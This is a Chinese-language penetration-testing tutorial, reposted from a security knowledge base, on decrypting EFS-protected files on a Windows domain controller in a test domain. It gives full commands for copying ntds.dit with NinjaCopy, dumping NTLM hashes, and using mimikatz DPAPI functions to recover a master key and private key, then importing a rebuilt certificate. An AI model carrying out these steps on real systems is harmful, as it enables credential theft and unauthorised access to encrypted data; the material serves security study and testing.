作者 三好学生 2016-07-04 11:11:00
被查看了1129次 , 本文转载自:乌云知识库

域渗透——EFS文件解密

0x00 前言

在渗透测试中,当我们成功获得了一个域控权限后,接下来会着手搜索服务器上的敏感数据。如果遇到某些数据无法访问,很有可能是因为数据被加密,所以如何还原加密数据也是域渗透中一个有趣的问题,今天就从一个最基本的说起——EFS

Alt text

图片引用自http://www.skill4everyone.com/encrypting-file-system-efs-windows-7-8-10-and-flash-usb-for-prevents-offine-attacks-and-lost-data/

0x01 简介

EFS

  • 全称Encrypting File System
  • 基于公钥策略,利用FEK和数据扩展标准X算法创建加密后的文件
  • 适用于xp及以后的Windows操作系统
  • 可对NTFS分区的文件加密

加密操作:

1、通过界面

选中文件/文件夹-右键-属性-高级-选中加密内容以便保护数据

如图

Alt text

注:
把未加密的文件复制到具有加密属性的文件夹中,文件也会被自动加密

2、在cmd下
也可在cmd下通过cipher.exe对文件/文件夹进行加密

#!bash
cipher /e c:\test

如图

Alt text

访问加密文件:

EFS加密默认使用当前登录帐户的密码来加密文件,所以在当前用户下可以直接访问加密文件

如果更换登录用户,则会提示无法访问,如图

Alt text

同样,在域环境中也存在这个问题,域内常常会有多个域管理员用户,如果域控上的某个文件是通过域管理员A(定期更换口令)加密的,那么当我们只获得了域管理员B的权限,还是无法访问这个加密文件,遇到这种情况该怎么办呢?下面我们就来介绍一下如何获得访问这个加密文件的权限。

0x02 实际测试

测试域环境:

  • 名称:test.local
  • 系统:Windows Server 2012 R2
  • 域管理员帐户: test1
  • 使用工具:
    • mimikatz.exe
    • NinjaCopy.ps1
    • ntdsdump.exe

1、查看加密文件信息

使用域管理员test1登录域控,发现某个文件无法访问,如图

Alt text

判断该文件是否被加密,输入:

#!bash
cipher /c c:\test\data\data.txt

如下图,获得加密信息,能够解密的用户名称和证书指纹如下:

  • 解密用户:TEST\Administrator [Administrator([email protected])]
  • 证书指纹:EA9A 5E11 CD2B 0A91 D853 E6E7 D37F 7FE9 3309 20BF

Alt text

2、获得该用户的Hash

通过mimikatz.exe直接导出内存信息失败,判断该用户未登录

尝试通过ntds.dit导出

注:
之前的文章介绍过如何导出所有域用户的Hash

本次测试使用NinjaCopy+ntdsdump

(1) 获取ntds.dit

常用方法:

  • vssown.vbs
  • ntdsutil.exe
  • ShadowCopy

相比之下,powershell实现的NinjaCopy更加高效

NinjaCopy Author: Joe Bialek

可供下载的地址:
https://github.com/3gstudent/NinjaCopy

执行:

#!bash
PowerShell.exe -ExecutionPolicy Bypass -File NinjaCopy.ps1

成功导出ntds.dit

(2)导出所有用户hash

常用方法:

  • NtdsXtract
  • QuarksPwDump
  • DSInternals PowerShell Module

本次测试使用zcgonvh前辈的ntdsdump.exe

下载地址:
http://z-cg.com/post/ntds_dit_pwd_dumper.html

获得syskey:
b9e21ebfc252a8393dec5e4238427ce1

修复数据库:

#!bash
esentutl /p /o ntds.dit

导出hash:

#!bash
NTDSDump.exe -f ntds.dit -k b9e21ebfc252a8393dec5e4238427ce1

Alt text

如图,获得用户Administrator信息如下:

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:7ECFFFF0C3548187607A14BAD0F88BB1:::

NTLM hash为:7ECFFFF0C3548187607A14BAD0F88BB1

3、定位目录文件

如下链接介绍了不同系统下SystemCertificates, Crypto 和Protect对应的目录

https://onedrive.live.com/view.aspx?resid=A352EBC5934F0254!3104&app=Excel

可知server20012对应的目录为:

C:\Users\用户名\AppData\Roaming\Microsoft

4、获得证书指纹

(1) 下载证书指纹对应的文件

通用路径为:

C:\Users\解密用户\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\证书指纹

此域控对应的路径为:

C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF

(2) 使用mimikatz导出

mimikatz命令:

#!bash
crypto::system /file:"C:\test\EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF" /export

注:
mimikatz.exe程序内无法直接复制回显和粘贴命令,所以可以采用以下变通方法

启动cmd.exe,输入:

#!bash
mimikatz.exe log "crypto::system /file:"C:\test\EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF" /export"

回显命令记录到日志当中

Alt text

如图,获得如下可用信息:

  • Key Container :4b521cd0-1c7b-48a9-8b08-639f0dc21ea9
  • Provider : Microsoft Enhanced Cryptographic Provider v1.0

公钥证书保存在EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF.der

5、获取MasterKey信息

(1) 下载包含MasterKey的加密文件

通用路径为:

C:\Users\解密用户\AppData\Roaming\Microsoft\Crypto\RSA\解密用户sid\

此域控对应的路径为:

C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2493132618-4238479303-4250330934-500\

找到文件522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266并下载

(2) 使用mimikatz导出

mimikatz命令:

#!bash
mimikatz.exe log "dpapi::capi /in:"C:\test\522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266""

Alt text

如图,得到:

guidMasterKey : {30e88d48-bbc5-417d-b272-6c1f1f8d74ce}

6、计算MasterKey

通用路径为:

C:\Users\解密用户\AppData\Roaming\Microsoft\Protect\解密用户sid\guidMasterKey

此域控对应的路径为:

C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2493132618-4238479303-4250330934-500\30e88d48-bbc5-417d-b272-6c1f1f8d74ce

注:
不存在C:\Users\解密用户\AppData\Roaming\Microsoft\Protect\解密用户sid\guidMasterKey这个文件

(1) 使用mimikatz导出

mimikatz命令:

#!bash
mimikatz.exe log "dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2493132618-4238479303-4250330934-500\30e88d48-bbc5-417d-b272-6c1f1f8d74ce" /hash:7ECFFFF0C3548187607A14BAD0F88BB1"

注:
需要知道解密用户以下任一信息:

  • /password
  • /hash
  • /CREDHIST
  • 或者如果有lsass /kernel的权限,直接可以dump出来masterkey

本次测试使用Administrator的hash,是通过ntds.dit导出来的

Alt text

如图,得到MasterKey:

  • [masterkey] with hash: 7ecffff0c3548187607a14bad0f88bb1 (ntlm type)
  • key : 5c1713858b0654f2526a793f44a3fe6c08dc06e7e90c59f8ff8b33dbdbf31712dc97f5fb0d7c0509c8b9ee968ed790f88a5bc878fd575872d6997ff79fa71766
  • sha1: 9aa6e0a06e0ce33ae668b965ee28276012631405

7、解密私钥

(1) 准备包含MasterKey的加密文件

步骤5中下载的文件,即522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266

(2) 使用mimikatz导出私钥

mimikatz命令:

#!bash
mimikatz.exe log "dpapi::capi /in:"C:\test\522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266" /masterkey:9aa6e0a06e0ce33ae668b965ee28276012631405"

注:
/masterkey即步骤6中导出的MasterKey sha1

Alt text

如图,执行后私钥保存在raw_exchange_capi_0_4b521cd0-1c7b-48a9-8b08-639f0dc21ea9.pvk

8、生成pfx文件

kiwi的方法:

openssl x509 -inform DER -outform PEM -in 4AA08BF21AEAE4941941F835B9A8AC4C497BA36E.der -out public.pem openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

链接为:
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files

安装及配置openssl,有点麻烦,但他在博客里提供了已经编译好的exe,可直接使用,链接为:
http://blog.gentilkiwi.com/programmes/openssl

本次测试使用的方法:

之前介绍过生成证书的相关流程:
http://drops.wooyun.org/tips/15691

在Windows SDK路径下找到cert2spc.exepvk2pfx.exe

C:\Program Files\Microsoft SDKs\Windows\v6.0A\Bin

运行:

#!bash
cert2spc.exe EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF.der public.spc
pvk2pfx.exe -pvk raw_exchange_capi_0_4b521cd0-1c7b-48a9-8b08-639f0dc21ea9.pvk -pi test -spc public.spc -pfx cert.pfx -f

Alt text

如图,生成cert.pfx

9、导入证书

cmd下执行:

#!bash
certutil -user -p test -importpfx cert.pfx NoChain,NoRoot

注:
certutil系统自带,可用来向系统导入证书

Alt text

如图,成功访问加密内容

注:
即使解密用户Administrator变更密码,依然能够通过导入这个证书来访问EFS加密文件

0x03 小结

解密EFS文件还有其他的方法,但使用mimikatz无疑是最方便快捷的一个(可根据mimikatz源码定制全自动解密程序)。本文通过实例介绍了如何实际运用mimikatz解密EFS文件,并对其中需要注意的细节做了说明,希望能对大家有所帮助。

文中对mimikatz的使用参考自https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files,由此链接获得更多学习内容

本文转载自:乌云知识库